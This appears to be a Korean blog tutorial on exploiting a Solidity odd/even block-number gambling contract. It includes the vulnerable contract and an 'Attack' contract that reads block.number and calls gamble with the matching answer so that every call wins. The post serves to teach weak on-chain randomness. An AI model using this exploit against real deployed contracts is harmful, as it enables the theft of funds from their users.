스마트컨트랙트 해킹 테스트 #3
[요약]
블록넘버의 홀수, 짝수를 맞추면
승리하는 스마트컨트랙트를
반드시 이길 수 있도록 해킹해보자.
- 해킹 타켓 스마트컨트랙트 "Test11"
pragma solidity 0.8.6;
contract Test11 {
mapping(address => uint) public txCount;
mapping(address => uint) public win;
function gamble(bool _answer) public {
uint blockNum = block.number;
bool answer;
if(blockNum % 2 == 1){
answer = true;
} else if (blockNum % 2 == 0) {
answer = false;
}
txCount[msg.sender]++;
if(answer == _answer){
win[msg.sender]++;
}
}
}
블록넘버가 홀수이면 true / 짝수이면 false이다.
함수 호출자가 제출한 답과 블록넘버의 홀/짝이 일치하면 승리.
함수 gamble에 true / false 값을 넣어 호출한다.
- 시도1 / 막무가내 수동 작업
블록넘버는 홀수,짝수를 번갈아 가면서 생성되므로
대충 첫번째 시도가 성공하면 그 다음부터는 반대 값으로 넣어 반복한다.
첫번째 시도 실패.
두번째 시도 실패.
세번째도 실패
안되잖아?????
5번째에서 드디어 맞췄다.
이런식으로는 안된다.
- 시도2 => 스마트컨트랙트를 하나 더 만든다.
블록넘버는 공개되어 있는 값이다. 오픈북인셈.
블록넘버를 이미 알고 있는
스마트컨트랙트가 있고
Test11의 gamble 함수를 호출 할때마다
이미 알고 있는 블록넘버의 홀짝:True/False를
넣으면 호출할때마다 이길 수 있다.
스마트 컨트랙트 Atack 추가.
contract Attack {
function hack() public {
uint blockNum = block.number;
bool answer;
if(blockNum % 2 == 1){
answer = true;
} else if (blockNum % 2 == 0) {
answer = false;
}
Test11(test11_Address).gamble(answer);
}
스마트컨트랙트 Attack에는
함수 hack이 있고
hack을 호출하면
현재 블록넘버 값을 불러온다.
홀수면 answer에 true를 대입
짝수면 answer에 false를 대입한다.
그 다음 해킹 타겟인 Test11의 gamble를 호출하고
파라미터 answer에 위에서 구한 true/false 값을 넣게된다.
이러면 백전백승이다.
*test11_Address에는 Test11의 스마트컨트랙트 주소를 대입한다.
이미 알고 있는 답을 넣기 때문에
계속 승리한다.
이 경우 Test11을 호출자는
스마트컨트랙트 'Attack'이기 때문에
Attack의 스마트컨트랙트 주소를
Test11의 txCount / win에
입력해야 트랜잭션 회수 / 승리회수를 알 수 있다.
'블록체인' 카테고리의 다른 글
[EIP-1559] 런던 하드포크 마침내 활성화 되다. (0) | 2021.08.05 |
---|---|
uint 자료형의 허점을 노린 스마트컨트랙트 해킹 (0) | 2021.07.28 |
스마트컨트랙트에서 코인 훔치기 #2 (0) | 2021.07.27 |
스마트컨트랙트에서 코인을 훔쳐보자 (0) | 2021.07.27 |
이더리움 기반 ERC20 토큰 만들기 (0) | 2021.07.27 |